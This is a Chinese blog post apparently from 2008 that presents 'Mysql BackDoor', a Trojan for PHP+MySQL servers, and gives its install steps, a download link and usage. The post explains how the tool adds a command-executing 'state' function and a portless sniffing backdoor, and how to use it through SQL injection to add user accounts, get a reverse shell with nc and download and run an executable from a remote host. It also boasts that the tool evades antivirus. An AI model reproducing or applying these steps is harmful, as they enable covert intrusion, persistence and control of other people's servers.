Mysql BackDoorDoor

上一篇 / 下一篇  2008-08-07 07:01:03 / 个人分类:UNIX系统架构系

J1R rY |6i5@YsO b0Mysql BackDoor是一款针对PHP+Mysql服务器开发的后门,后门安装后为Mysql增加一个可以执行系统命令的"state"函数,并且随 Mysql进程启动一个基于Dll的嗅探型后门,从而巧妙地实现了无端口,无进程,无服务的穿墙木马.程序在WINXP、 WIN2003+MYSQL5.0.X下通过.IXPUB技术博客ZKw,SBz'G_N
IXPUB技术博客~Q h)RE*r_Hk
[安装]IXPUB技术博客4m J;iL SNBxF4m
将Mysql.php传到PHP服务器上,依填上相应的Host、User、Password、DB后,点击"自动安装Mysql BackDoor"IXPUB技术博客G#b{)HhF

T(o\9bZ wY1A-N-ffI0
H8|0b#d]0
R3m AWX4B}$cD0安装成功后,Mysql上便会增加一个"state"函数,同时利用Mysql进程运行一个基于嗅探的后门. 这个后门在Windows下拥有与Mysql一样的系统权限.
q&Ll8{;`-q/J F0
0P`:N(W;K#[y,{0[使用state函数]IXPUB技术博客k vRlAM}m
State函数实际是一个和PHP的”system()”功能相同的函数,可以用来执行系统命令.在”请输入SQL命令:”处填写要执行的mysql语 句,如” select state("net user nohack /add")”,点击”执行SQL语句”后,便会得到运行结果.IXPUB技术博客EF)g*h(W a^ u
IXPUB技术博客P!_ uj o8W
[使用基于Sniff的后门]IXPUB技术博客7S@;kDj^lVms
有了state函数,即使WebShell丢了,只要服务器上有SQL注入点,我们就能通过注入".php?id=1 and state('net user')"的方法在服务器上执行命令.但是如果注入点都没有了呢?我们仍然调用基于Sniff的后门控制服务器.向服务器开放的任意端口发送 以"Mysql-"开头的数据包,便能调用这个Sniff的后门,如:
L ]i N Wd7Q0IXPUB技术博客C2SWIq%t^0U `?
1.运行系统命令: nc ip 80->回车->Mysql-cmd /c net user abc /add>c:/log.txt! (注意:最后的"!"不可省略)
&O{ {Pv9b$L,M)K P02.让服务器反弹Shell到本机20082端口:先运行nc –lp 20082监听本机的20082端口,再nc ip 80->回车->Mysql-c-->回车IXPUB技术博客;f Zi-hK `;F]o0e
3.让服务器下载文件:nc ip 80->回车->Mysql-http://www.x.com/door.exe -c mydoor.exe! (注意:最后的"!"不可省略)
3RHz O r0
?-s5isT5Q.Z0除了发送"Mysql-c-”,其他的命令是没有回显的,但相应的命令已经在服务器上运行了.
+^ Y#c'Jq$^0
,D-E#yX aY X0IXPUB技术博客^](NC&L m
[卸载]IXPUB技术博客 H t k^u:a,p*Lu
在Mysql上运行"drop function state"便可卸载,但同时会造成mysql进程退出,重启后恢复正常。

+C@ J3G(m~0IXPUB技术博客 `z#R2ZwD:[

详细用法看压缩包内图文说明。http://blogimg.chinaunix.net/blog/upfile2/080712123321.rar
H:s@j,So J _DF0
b,W QEE.| z$l0注意:能过杀毒软件,但过不了主动防御,主动防御太狠了,后门执行系统命令、发邮件、反向连接都会被发现。
-O)]`nbW0
Q WD.@ cT0IXPUB技术博客 r+n|T\Ee3@
发送Mysql-cmd c net user abc add,mysql backdoor运行cmd命令便会被主动防御截获:IXPUB技术博客j,jZ&[A,t;?

x1C\B"w(R7g)Kg0

O?7C$ih2a0
IXPUB技术博客r],S QX\'u
IXPUB技术博客 Z!lJ m7cFbmb{

't!^0B.On0发送Mysql-c-,mysql bookdoor运行管道重定向便会被主动防御截获,可见卡巴斯基监视了内存或句柄表:IXPUB技术博客!`SV.a~\

'E6B PQ-U dH0

TAG: mysql MYSQL sql SQL 服务器 木马 Mysql BackDoorDoor

 

评分:0

我来说两句

显示全部

:loveliness: :handshake :victory: :funk: :time: :kiss: :call: :hug: :lol :'( :Q :L ;P :$ :P :o :@ :D :( :)

日历

« 2008-12-26  
 123456
78910111213
14151617181920
21222324252627
28293031   

数据统计

  • 访问量: 60585
  • 日志数: 1152
  • 文件数: 1
  • 建立时间: 2007-08-10
  • 更新时间: 2008-12-26

RSS订阅

Open Toolbar